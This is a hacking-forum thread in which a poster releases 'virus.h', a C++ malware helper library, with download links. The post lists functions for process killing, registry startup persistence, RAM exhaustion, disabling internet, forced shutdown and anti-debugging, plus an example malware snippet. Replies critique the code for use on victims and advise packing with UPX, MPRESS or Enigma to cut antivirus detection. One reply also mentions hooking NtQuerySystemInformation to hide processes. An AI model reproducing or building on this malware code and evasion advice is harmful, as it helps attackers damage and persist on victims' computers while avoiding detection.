[CartWright64]

Let me introduce myself, I am Captain Hog drom PiratesWare dev team.
We are proud to introduce our latest creation, virus.h, a c++ library compatible with all compilers (I have not tested TurboC ++).
It contains some of the basic functions for programming simple malwares.
Func list:

pkill(process name); // -> pkill("explorer"); //kill the process.
startup(path,processname) // startup("C:\\virus.exe","java.exe") //Set to windows startup, don't need admin rights
connect(url); // connect("http://www.google.it") quiete connection to a website.
opensite(url); //opensite("www.//...com"); //open a website in browser
ramrabbit(TRUE/FALSE) //drain all ram (TRUE => cmd flood, FALSE => invisible flood)
disable_internet(); //disable internet
enable_internet(); //enable internet
block_website("www.google.it"); //block a website
showconsole(); //Show your program console
hideconsole(); //hide your program console
shutdownpc(); //force shutdown
restart_pc(); //force reboot
nuke(); //Try to kill the os.
protezioni(); //simple anti-debug protection

How to setup:

Move the virus.h file in C:\\ or wherever you want, then goto your ide and write at the beginning of your c++ file
#include "C:\\virus.h"
or
#include "yourpath... \\virus.h"

Example Snippet:

Code

#include "C:\virus.h"
using namespace std;
main(){
      hideconsole();
      startup("C:\mymalware.exe","legitprocess.exe"); //use argv[0] to self-infect
      ramrabbit(TRUE); //drain all ram, spawn itself in another thread
      MessageBoxA(0,"Suprirse","Modafuka?",MB_OK);
}

Download + Source

Code: http://adf.ly/rf3pg (pastebin)

Donate if u liked it

I decided to release it in hackforums If you liked and want to support me, donate :)
BTC address:

[img]http://s11.postimg.org/6h6u31nvj/ourflag.png[/img]

[un4gott3n]

Had a quick read through and the source is good, for someone looking to learn common functions in bots. Also not a fan of how you use curly braces for indentation but of course that's my opinion.

Only other things I see are that some of your else/catch statements don't do anything and also that if you use the Disable_Internet command, how can you re-enable it when you have effectively shut yourself out? It would make more sense to block traffic for the user but not release the connection entirely. This is of course if you was to try and use it on a vic and not just on your system.

I say 6/10. Nice work.

[0xDEAD10CC]

The source is actually really ugly. All those empty codepaths that don't need to be there are silly, although startup via the registry is also easily detected by lots of AV's. Lots of the functionality here requires admin privileges.

[EmptyRedData]

The source is actually really ugly. All those empty codepaths that don't need to be there are silly, although startup via the registry is also easily detected by lots of AV's. Lots of the functionality here requires admin privileges.

I agree. Also, the reason Virus libraries don't really exist is because once a signature becomes available for particular patterns inside the library, all malware created with it will be rendered useless.

[CartWright64]

The source is actually really ugly. All those empty codepaths that don't need to be there are silly, although startup via the registry is also easily detected by lots of AV's. Lots of the functionality here requires admin privileges.

Writing in HKCU don't needs admin rights, i'm still a learner in c++ :) i'm studying this language since a week ahaha anyway, i appreciate your suggest and i'll try to improve my realease.

---

I agree. Also, the reason Virus libraries don't really exist is because once a signature becomes available for particular patterns inside the library, all malware created with it will be rendered useless.

It's just for coding SIMPLE malwares by unesperienced people, not for develope badbios :)

---

Had a quick read through and the source is good, for someone looking to learn common functions in bots. Also not a fan of how you use curly braces for indentation but of course that's my opinion.

Only other things I see are that some of your else/catch statements don't do anything and also that if you use the Disable_Internet command, how can you re-enable it when you have effectively shut yourself out? It would make more sense to block traffic for the user but not release the connection entirely. This is of course if you was to try and use it on a vic and not just on your system.

I say 6/10. Nice work.

Thanks for your rate mate. I'll improve it soon :)

[Remix]

Why do you use boolean for the nuke function if you don't return anything?
The "shutdownpc" and "restartpc" are useless because the user gets a notice that the pc will shutdown/restart and he can cancel it.

[0xDEAD10CC]

Writing in HKCU don't needs admin rights, i'm still a learner in c++ :) i'm studying this language since a week ahaha anyway, i appreciate your suggest and i'll try to improve my realease.

Where did I say it did? I said "Lots of the functionality here requires admin privileges", not all. Although that still doesn't get around the fact that it's easily detected.

[CartWright64]

So 0xDEAD10CC and [iRemix] What changes do you suggest to make to my release to make it truly useful and interesting (for learners, obviously)? 😉
Maybe you could send me some suggestions in PM I'm going to continue this project !!

[CiM4]

So 0xDEAD10CC and [iRemix] What changes do you suggest to make to my release to make it truly useful and interesting (for learners, obviously)? 😉
Maybe you could send me some suggestions in PM I'm going to continue this project !!

can you PM me? i can't because i have no 25 threads and i wanna to talk you thanks

[CartWright64]

can you PM me? i can't because i have no 25 threads and i wanna to talk you thanks

No problem :)) 🤝
Spoiler (Click to View)
shaorraorhsakosairhaoirhoasrnoaisrhnrs

[Ahmed X Blade]

i want how to crypte server bypass all anti viurs and hide on TEMP And Task manager Hide Process WHo Can Crypt Server This

[CartWright64]

i want how to crypte server bypass all anti viurs and hide on TEMP And Task manager Hide Process WHo Can Crypt Server This

What? LOL 🤮

If you want to encrypt a virus made ​​from this library you can use any crypter that supports native languages (C++/Delphi[..]).
I advise you to compress it using enigma / upx / MPRESS / petite / that are free packers.
Virustotal does not rise above 10 without encryption so...
But please, review your English a bit that I did not understand a shit.

---Links---
UPX: http://upx.sourceforge.net/
MPRESS http://www.matcode.com/mpress.htm
ENIGMA http://enigmaprotector.com/
PETITE http://www.un4seen.com/petite/

------

For disabling task manager you can download the newest version:
http://adf.ly/ruZCm
And use the function disabletaskmanager();

[0xDEAD10CC]

What? LOL 🤮

If you want to encrypt a virus made ​​from this library you can use any crypter that supports native languages (C++/Delphi[..]).
I advise you to compress it using enigma / upx / MPRESS / petite / that are free packers.
Virustotal does not rise above 10 without encryption so...
But please, review your English a bit that I did not understand a shit.

---Links---
UPX: http://upx.sourceforge.net/
MPRESS http://www.matcode.com/mpress.htm
ENIGMA http://enigmaprotector.com/
PETITE http://www.un4seen.com/petite/

------

For disabling task manager you can download the newest version:
http://adf.ly/ruZCm
And use the function disabletaskmanager();

Where did you read that he wanted to disable Task Manager? 🤨

From what I can see, he wants to hide a process which involves a hook to NtQuerySystemInformation () as one method.

[xMoD]

I think its pretty cool.
I mean obviously as stated you wouldnt use for a legitimate malware.
But its nice for a simple small design.
I dont like however you attempt to add to startup thru HKLM first, then if it fails (most likely cus of no admin rights) write to HKCU.
I think you should just come out writing to it.
Your fork_core & fork_coredue are the same, and I assume you meant for fork_core to be SW_HIDE.
Since you have:

PHP Code


<?php 
if(metodo){
            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fork_coredue, 0, 0, 0); // 1 = True, so if metodo is 1 (visible)
      }else{
            CreateThread(0, 0, (LPTHREAD_START_ROUTINE)fork_core, 0, 0, 0); // else
      } 


So for the fork_core you need to change SW_SHOW to -> SW_HIDE to ensure if it is set to 0, it will hide the windows.
ramrabbit is a bool, but returns void/nothing.

But other than those, it is neat just to use and great for beginners to learn from!

---

Nvm, I see you fixed the SW_HIDE and stuff in your newer version.

[CartWright64]

Thanks xMod ... you really helped me a lot.